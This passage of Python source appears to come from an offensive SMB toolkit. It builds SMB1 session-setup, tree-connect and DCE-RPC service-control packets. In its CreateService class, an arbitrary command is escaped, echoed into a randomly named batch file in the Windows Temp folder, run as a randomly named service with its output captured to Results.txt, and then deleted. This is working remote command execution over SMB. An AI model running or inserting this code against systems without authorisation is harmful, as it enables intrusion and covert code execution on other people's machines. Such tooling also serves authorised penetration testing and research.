SecBlobLen = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])
|
||||
|
||||
|
||||
data3 = str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])
|
||||
|
||||
data4 = str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])
|
||||
|
||||
data5 = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"])
|
||||
|
||||
data6 = str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])
|
||||
|
||||
data10 = str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
|
||||
|
||||
data11 = str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
|
||||
|
||||
|
||||
## Packet len
|
||||
self.fields["AndXOffset"] = struct.pack("<h", len(CompleteSMBPacketLen)+32)
|
||||
##Buff Len
|
||||
self.fields["SecBlobLen"] = struct.pack("<h", len(SecBlobLen))
|
||||
##Complete Buff Len
|
||||
self.fields["Bcc"] = struct.pack("<h", len(CompleteSMBPacketLen)-27)#session setup struct is 27.
|
||||
##App Header
|
||||
self.fields["ApplicationHeaderLen"] = struct.pack("<B", len(SecBlobLen)-2)
|
||||
##Asn Field 1
|
||||
self.fields["AsnSecMechLen"] = struct.pack("<B", len(str(self.fields["AsnSecMechStr"])))
|
||||
##Asn Field 1
|
||||
self.fields["ChoosedTagStrLen"] = struct.pack("<B", len(data3))
|
||||
##SpNegoTokenLen
|
||||
self.fields["NegTokenInitSeqHeadLen"] = struct.pack("<B", len(data4))
|
||||
##NegoTokenInit
|
||||
self.fields["NegTokenInitSeqHeadLen1"] = struct.pack("<B", len(data10))
|
||||
## Tag0 Len
|
||||
self.fields["NegTokenInitSeqNLMPLen"] = struct.pack("<B", len(data11))
|
||||
## Tag0 Str Len
|
||||
self.fields["NegTokenInitSeqNLMPTag1Len"] = struct.pack("<B", len(str(self.fields["NegTokenInitSeqNLMPTag1Str"])))
|
||||
## Tag2 Len
|
||||
self.fields["NegTokenInitSeqNLMPTag2Len"] = struct.pack("<B", len(data6))
|
||||
## Tag3 Len
|
||||
self.fields["NegTokenInitSeqNLMPTag2OctetLen"] = struct.pack("<B", len(str(self.fields["Data"])))
|
||||
|
||||
|
||||
class SMBSessionSetupAndxAUTH(Packet):
|
||||
fields = OrderedDict([
|
||||
("wordcount", "\x0c"),
|
||||
("AndXCommand", "\xff"),
|
||||
("reserved","\x00" ),
|
||||
("andxoffset", "\xfa\x00"),
|
||||
("maxbuff","\xff\xff"),
|
||||
("maxmpx", "\x32\x00"),
|
||||
("vcnum","\x01\x00"),
|
||||
("sessionkey", "\x00\x00\x00\x00"),
|
||||
("securitybloblength","\x59\x00"),
|
||||
("reserved2","\x00\x00\x00\x00"),
|
||||
("capabilities", "\xfc\xe3\x01\x80"),
|
||||
("bcc1","\xbf\x00"),
|
||||
("ApplicationHeaderTag","\xa1"),
|
||||
("ApplicationHeaderTagLenOfLen","\x81"),
|
||||
("ApplicationHeaderLen","\xd1"),
|
||||
("AsnSecMechType","\x30"),
|
||||
("AsnSecMechLenOfLen","\x81"),
|
||||
("AsnSecMechLen","\xce"),
|
||||
("ChoosedTag","\xa2"),
|
||||
("ChoosedTagLenOfLen","\x81"),
|
||||
("ChoosedTagLen","\xcb"),
|
||||
("ChoosedTag1","\x04"),
|
||||
("ChoosedTag1StrLenOfLen","\x81"),
|
||||
("ChoosedTag1StrLen","\xc8"),
|
||||
#### NTLM Packet ####
|
||||
("Data", ""),
|
||||
#### End Of SMB ####
|
||||
("NLMPAuthMsgNull","\x00"),
|
||||
("NativeOs","Unix"),
|
||||
("NativeOsTerminator","\x00\x00"),
|
||||
("ExtraNull",""),
|
||||
("NativeLan","Samba"),
|
||||
("NativeLanTerminator","\x00\x00"),
|
||||
("AndxPadding",""),
|
||||
])
|
||||
|
||||
|
||||
def calculate(self):
|
||||
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
|
||||
self.fields["NativeLan"] = self.fields["NativeLan"].encode('utf-16le')
|
||||
|
||||
SecurityBlobLen = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])
|
||||
|
||||
NTLMData = str(self.fields["Data"])
|
||||
###### ASN Stuff
|
||||
if len(NTLMData) > 255:
|
||||
self.fields["ApplicationHeaderTagLenOfLen"] = "\x82"
|
||||
self.fields["ApplicationHeaderLen"] = struct.pack(">H", len(SecurityBlobLen)-0)
|
||||
else:
|
||||
self.fields["ApplicationHeaderTagLenOfLen"] = "\x81"
|
||||
self.fields["ApplicationHeaderLen"] = struct.pack(">B", len(SecurityBlobLen)-3)
|
||||
|
||||
if len(NTLMData)-8 > 255:
|
||||
self.fields["AsnSecMechLenOfLen"] = "\x82"
|
||||
self.fields["AsnSecMechLen"] = struct.pack(">H", len(SecurityBlobLen)-4)
|
||||
else:
|
||||
self.fields["AsnSecMechLenOfLen"] = "\x81"
|
||||
self.fields["AsnSecMechLen"] = struct.pack(">B", len(SecurityBlobLen)-6)
|
||||
|
||||
if len(NTLMData)-12 > 255:
|
||||
self.fields["ChoosedTagLenOfLen"] = "\x82"
|
||||
self.fields["ChoosedTagLen"] = struct.pack(">H", len(SecurityBlobLen)-8)
|
||||
else:
|
||||
self.fields["ChoosedTagLenOfLen"] = "\x81"
|
||||
self.fields["ChoosedTagLen"] = struct.pack(">B", len(SecurityBlobLen)-9)
|
||||
|
||||
if len(NTLMData)-16 > 255:
|
||||
self.fields["ChoosedTag1StrLenOfLen"] = "\x82"
|
||||
self.fields["ChoosedTag1StrLen"] = struct.pack(">H", len(SecurityBlobLen)-12)
|
||||
else:
|
||||
self.fields["ChoosedTag1StrLenOfLen"] = "\x81"
|
||||
self.fields["ChoosedTag1StrLen"] = struct.pack(">B", len(SecurityBlobLen)-12)
|
||||
|
||||
CompletePacketLen = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])+str(self.fields["NLMPAuthMsgNull"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["ExtraNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"])
|
||||
|
||||
SecurityBlobLenUpdated = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])
|
||||
|
||||
## Packet len
|
||||
self.fields["andxoffset"] = struct.pack("<h", len(CompletePacketLen)+32) #SMB1 Header is always 32
|
||||
##Buff Len
|
||||
self.fields["securitybloblength"] = struct.pack("<h", len(SecurityBlobLenUpdated))
|
||||
##Complete Buff Len
|
||||
self.fields["bcc1"] = struct.pack("<h", len(CompletePacketLen)-27) #SessionSetup struct is 27.
|
||||
|
||||
class SMBTreeConnectData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x04"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved","\x00" ),
|
||||
("Andxoffset", "\x5a\x00"),
|
||||
("Flags","\x08\x00"),
|
||||
("PasswdLen", "\x01\x00"),
|
||||
("Bcc","\x2f\x00"),
|
||||
("Passwd", "\x00"),
|
||||
("Path","\\\\IPC$"),
|
||||
("PathTerminator","\x00\x00"),
|
||||
("Service","?????"),
|
||||
("Terminator", "\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
|
||||
##Convert Path to Unicode first before any Len calc.
|
||||
self.fields["Path"] = self.fields["Path"].encode('utf-16le')
|
||||
|
||||
##Passwd Len
|
||||
self.fields["PasswdLen"] = struct.pack("<i", len(str(self.fields["Passwd"])))[:2]
|
||||
|
||||
##Packet len
|
||||
CompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Flags"])+str(self.fields["PasswdLen"])+str(self.fields["Bcc"])+str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
|
||||
|
||||
self.fields["Andxoffset"] = struct.pack("<i", len(CompletePacket)+32)[:2]
|
||||
|
||||
##Bcc Buff Len
|
||||
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
|
||||
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
|
||||
|
||||
|
||||
class SMBNTCreateData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x18"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved", "\x00" ),
|
||||
("Andxoffset", "\x00\x00"),
|
||||
("Reserved2", "\x00"),
|
||||
("FileNameLen", "\x07\x00"),
|
||||
("CreateFlags", "\x16\x00\x00\x00"),
|
||||
("RootFID", "\x00\x00\x00\x00"),
|
||||
("AccessMask", "\x00\x00\x00\x02"),
|
||||
("AllocSize", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("FileAttrib", "\x00\x00\x00\x00"),
|
||||
("ShareAccess", "\x07\x00\x00\x00"),
|
||||
("Disposition", "\x01\x00\x00\x00"),
|
||||
("CreateOptions", "\x00\x00\x00\x00"),
|
||||
("Impersonation", "\x02\x00\x00\x00"),
|
||||
("SecurityFlags", "\x00"),
|
||||
("Bcc", "\x08\x00"),
|
||||
("FileName", "\\svcctl"),
|
||||
("FileNameNull", "\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"])
|
||||
self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
|
||||
self.fields["Bcc"] = struct.pack("<h",len(Data1))
|
||||
class SMBReadData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x0a"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved", "\x00" ),
|
||||
("Andxoffset", "\x00\x00"),
|
||||
("FID", "\x00\x00"),
|
||||
("Offset", "\x19\x03\x00\x00"),
|
||||
("MaxCountLow", "\xed\x01"),
|
||||
("MinCount", "\xed\x01"),
|
||||
("Hidden", "\xff\xff\xff\xff"),
|
||||
("Remaining", "\x00\x00"),
|
||||
("Bcc", "\x00\x00"),
|
||||
("Data", ""),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||
|
||||
class SMBWriteData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x0e"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved", "\x00" ),
|
||||
("Andxoffset", "\x00\x00"),
|
||||
("FID", "\x06\x40"),
|
||||
("Offset", "\xea\x03\x00\x00"),
|
||||
("Reserved2", "\xff\xff\xff\xff"),
|
||||
("WriteMode", "\x08\x00"),
|
||||
("Remaining", "\xdc\x02"),
|
||||
("DataLenHi", "\x00\x00"),
|
||||
("DataLenLow", "\xdc\x02"),
|
||||
("DataOffset", "\x3f\x00"),
|
||||
("HiOffset", "\x00\x00\x00\x00"),
|
||||
("Bcc", "\xdc\x02"),
|
||||
("Data", ""),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Remaining"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||
self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||
|
||||
class SMBTransDCERPC(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x10"),
|
||||
("TotalParamCount", "\x00\x00"),
|
||||
("TotalDataCount", "\x00\x00" ),
|
||||
("MaxParamCount", "\x00\x00"),
|
||||
("MaxDataCount", "\x00\x04"),
|
||||
("MaxSetupCount", "\x00"),
|
||||
("Reserved", "\x00\x00"),
|
||||
("Flags", "\x00"),
|
||||
("Timeout", "\x00\x00\x00\x00"),
|
||||
("Reserved1", "\x00\x00"),
|
||||
("ParamCount", "\x00\x00"),
|
||||
("ParamOffset", "\x00\x00"),
|
||||
("DataCount", "\x00\x00"),
|
||||
("DataOffset", "\x00\x00"),
|
||||
("SetupCount", "\x02"),
|
||||
("Reserved2", "\x00"),
|
||||
("OpNum", "\x26\x00"),
|
||||
("FID", "\x00\x00"),
|
||||
("Bcc", "\x00\x00"),
|
||||
("Terminator", "\x00"),
|
||||
("PipeName", "\\PIPE\\"),
|
||||
("PipeTerminator", "\x00\x00"),
|
||||
("Data", ""),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
#Padding
|
||||
if len(str(self.fields["Data"]))%2==0:
|
||||
self.fields["PipeTerminator"] = "\x00\x00\x00\x00"
|
||||
else:
|
||||
self.fields["PipeTerminator"] = "\x00\x00\x00"
|
||||
##Convert Path to Unicode first before any Len calc.
|
||||
self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le')
|
||||
|
||||
##Data Len
|
||||
self.fields["TotalDataCount"] = struct.pack("<h", len(str(self.fields["Data"])))
|
||||
self.fields["DataCount"] = struct.pack("<h", len(str(self.fields["Data"])))
|
||||
|
||||
##Packet len
|
||||
FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["OpNum"])+str(self.fields["FID"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
|
||||
|
||||
self.fields["ParamOffset"] = struct.pack("<h", len(FindRAPOffset)+32)
|
||||
self.fields["DataOffset"] = struct.pack("<h", len(FindRAPOffset)+32)
|
||||
##Bcc Buff Len
|
||||
BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
|
||||
self.fields["Bcc"] = struct.pack("<h", len(BccComplete))
|
||||
|
||||
|
||||
class SMBDCEData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Version", "\x05"),
|
||||
("VersionLow", "\x00"),
|
||||
("PacketType", "\x0b"),
|
||||
("PacketFlag", "\x03"),
|
||||
("DataRepresent", "\x10\x00\x00\x00"),
|
||||
("FragLen", "\x2c\x02"),
|
||||
("AuthLen", "\x00\x00"),
|
||||
("CallID", "\x00\x00\x00\x00"),
|
||||
("MaxTransFrag", "\xd0\x16"),
|
||||
("MaxRecvFrag", "\xd0\x16"),
|
||||
("GroupAssoc", "\x00\x00\x00\x00"),
|
||||
("CTXNumber", "\x01"),
|
||||
("CTXPadding", "\x00\x00\x00"),
|
||||
("CTX0ContextID", "\x00\x00"),
|
||||
("CTX0ItemNumber", "\x01\x00"),
|
||||
("CTX0UID", "\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03"),
|
||||
("CTX0UIDVersion", "\x02\x00"),
|
||||
("CTX0UIDVersionlo","\x00\x00"),
|
||||
("CTX0UIDSyntax", "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60"),
|
||||
("CTX0UIDSyntaxVer","\x02\x00\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["MaxTransFrag"])+str(self.fields["MaxRecvFrag"])+str(self.fields["GroupAssoc"])+str(self.fields["CTXNumber"])+str(self.fields["CTXPadding"])+str(self.fields["CTX0ContextID"])+str(self.fields["CTX0ItemNumber"])+str(self.fields["CTX0UID"])+str(self.fields["CTX0UIDVersion"])+str(self.fields["CTX0UIDVersionlo"])+str(self.fields["CTX0UIDSyntax"])+str(self.fields["CTX0UIDSyntaxVer"])
|
||||
|
||||
|
||||
self.fields["FragLen"] = struct.pack("<h",len(Data1))
|
||||
|
||||
class SMBDCEPacketData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Version", "\x05"),
|
||||
("VersionLow", "\x00"),
|
||||
("PacketType", "\x00"),
|
||||
("PacketFlag", "\x03"),
|
||||
("DataRepresent", "\x10\x00\x00\x00"),
|
||||
("FragLen", "\x00\x00"),
|
||||
("AuthLen", "\x00\x00"),
|
||||
("CallID", "\x00\x00\x00\x00"),
|
||||
("AllocHint", "\x00\x00\x00\x00"),
|
||||
("ContextID", "\x00\x00"),
|
||||
("Opnum", "\x0f\x00"),
|
||||
("Data", ""),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["AllocHint"])+str(self.fields["ContextID"])+str(self.fields["Opnum"])+str(self.fields["Data"])
|
||||
|
||||
self.fields["FragLen"] = struct.pack("<h",len(Data1))
|
||||
self.fields["AllocHint"] = struct.pack("<i",len(str(self.fields["Data"])))
|
||||
|
||||
class SMBDCESVCCTLOpenManagerW(Packet):
|
||||
fields = OrderedDict([
|
||||
("MachineNameRefID", "\xb5\x97\xb9\xbc"),
|
||||
("MaxCount", "\x0f\x00\x00\x00"),
|
||||
("Offset", "\x00\x00\x00\x00"),
|
||||
("ActualCount", "\x0f\x00\x00\x00"),
|
||||
("MachineName", ""),
|
||||
("MachineNameNull", "\x00\x00"),
|
||||
("DbPointer", "\x00\x00\x00\x00"),
|
||||
("AccessMask", "\x3f\x00\x0f\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
## Convert to UTF-16LE
|
||||
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1)
|
||||
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1)
|
||||
self.fields["MachineName"] = self.fields["MachineName"].encode('utf-16le')
|
||||
|
||||
class SMBDCESVCCTLCreateService(Packet):
|
||||
fields = OrderedDict([
|
||||
("ContextHandle", ""),
|
||||
("MaxCount", "\x0c\x00\x00\x00"),
|
||||
("Offset", "\x00\x00\x00\x00"),
|
||||
("ActualCount", "\x0c\x00\x00\x00"),
|
||||
("ServiceName", "AyAGaxwLhCP"),
|
||||
("MachineNameNull", "\x00\x00"),
|
||||
("ReferentID", "\x00\x00\x02\x00"),
|
||||
("MaxCountRefID", "\x11\x00\x00\x00"),
|
||||
("OffsetID", "\x00\x00\x00\x00"),
|
||||
("ActualCountRefID", "\x11\x00\x00\x00"),
|
||||
("DisplayNameID", "DhhUFcsvrfJvLwRq"),
|
||||
("DisplayNameIDNull", "\x00\x00\x00\x00"),
|
||||
("AccessMask", "\xff\x01\x0f\x00"),
|
||||
("ServerType", "\x10\x01\x00\x00"),
|
||||
("ServiceStartType", "\x03\x00\x00\x00"),
|
||||
("ServiceErrorCtl", "\x00\x00\x00\x00"),
|
||||
("BinPathMaxCount", "\xb6\x00\x00\x00"),
|
||||
("BinPathOffset", "\x00\x00\x00\x00"),
|
||||
("BinPathActualCount", "\xb6\x00\x00\x00"),
|
||||
("FileName", ""),
|
||||
("BinPathName", ""),
|
||||
("BinCMD", ""),
|
||||
("BintoEnd", ""),
|
||||
("BinCMDTerminator", "\x00\x00"),
|
||||
("LoadOrderGroup", "\x00\x00\x00\x00"),
|
||||
("TagID", "\x00\x00\x00\x00"),
|
||||
("Dependencies", "\x00\x00\x00\x00"),
|
||||
("DependenciesLen", "\x00\x00\x00\x00"),
|
||||
("ServiceStartName", "\x00\x00\x00\x00"),
|
||||
("Password", "\x00\x00\x00\x00"),
|
||||
("PasswordLen", "\x00\x00\x00\x00"),
|
||||
("Padding", "\x00\x00"),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["BinCMD"] = self.fields["BinCMD"].replace("&", "^&")#Filtering
|
||||
self.fields["BinCMD"] = self.fields["BinCMD"].replace("(", "^(")#Filtering
|
||||
self.fields["BinCMD"] = self.fields["BinCMD"].replace(")", "^)")#Filtering
|
||||
self.fields["BinCMD"] = self.fields["BinCMD"].replace("%", "^%")#Filtering
|
||||
self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
|
||||
self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
|
||||
self.fields["BinCMD"] = self.fields["BinCMD"].replace("|", "^|")#Filtering
|
||||
self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
|
||||
self.fields["BinCMD"] = self.fields["BinCMD"].replace("$", "^$")#Filtering
|
||||
self.fields["BinCMD"] = self.fields["BinCMD"].replace("!", "^!")#Filtering
|
||||
self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
|
||||
self.fields["BinCMD"] = self.fields["BinCMD"].replace("'", "^'")#Filtering
|
||||
self.fields["BinCMD"] = self.fields["BinCMD"].replace("\"", "^\"")#Filtering
|
||||
|
||||
File = "%WINDIR%\\Temp\\"+self.fields["FileName"]
|
||||
WinTmpPath = "%WINDIR%\\Temp\\Results.txt"
|
||||
FinalCMD = "del /F /Q "+File+"^&"+self.fields["BinCMD"]+" ^>"+WinTmpPath+" >"+File
|
||||
#That is: echo cmd into random .bat file, run .bat file, delete the bat file (it's loaded in memory).
|
||||
self.fields["FileName"] = ""#Reset it.
|
||||
self.fields["BinPathName"] = "%COMSPEC% /C echo "#make sure to escape "&" when using echo.
|
||||
self.fields["BinCMD"] = FinalCMD
|
||||
self.fields["BintoEnd"] = "& %COMSPEC% /C "+File+" &exit"#make sure to exit when done.
|
||||
BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"])
|
||||
|
||||
## Calculate first
|
||||
self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
|
||||
self.fields["BinPathActualCount"] = struct.pack("<i",len(BinDataLen)+1)
|
||||
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
|
||||
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
|
||||
self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
|
||||
self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
|
||||
## Then convert to UTF-16LE, yeah it's weird..
|
||||
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
|
||||
self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
|
||||
self.fields["BinPathName"] = self.fields["BinPathName"].encode('utf-16le')
|
||||
self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
|
||||
self.fields["BintoEnd"] = self.fields["BintoEnd"].encode('utf-16le')
|
||||
|
||||
class SMBDCESVCCTLOpenService(Packet):
|
||||
fields = OrderedDict([
|
||||
("ContextHandle", ""),
|
||||
("MaxCount", "\x00\x00\x00\x00"),
|
||||
("Offset", "\x00\x00\x00\x00"),
|
||||
("ActualCount", "\x00\x00\x00\x00"),
|
||||
("ServiceName", ""),
|
||||
("MachineNameNull", "\x00\x00"),
|
||||
("AccessMask", "\xff\x01\x0f\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
## Calculate first
|
||||
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
|
||||
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
|
||||
## Then convert to UTF-16LE, yeah it's weird..
|
||||
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
|
||||
|
||||
class SMBDCESVCCTLStartService(Packet):
|
||||
fields = OrderedDict([
|
||||
("ContextHandle", ""),
|
||||
("MaxCount", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
class SMBDCESVCCTLDeleteService(Packet):
|
||||
fields = OrderedDict([
|
||||
("ContextHandle", ""),
|
||||
])
|
||||
|
||||
class SMBDCESVCCTLCloseService(Packet):
|
||||
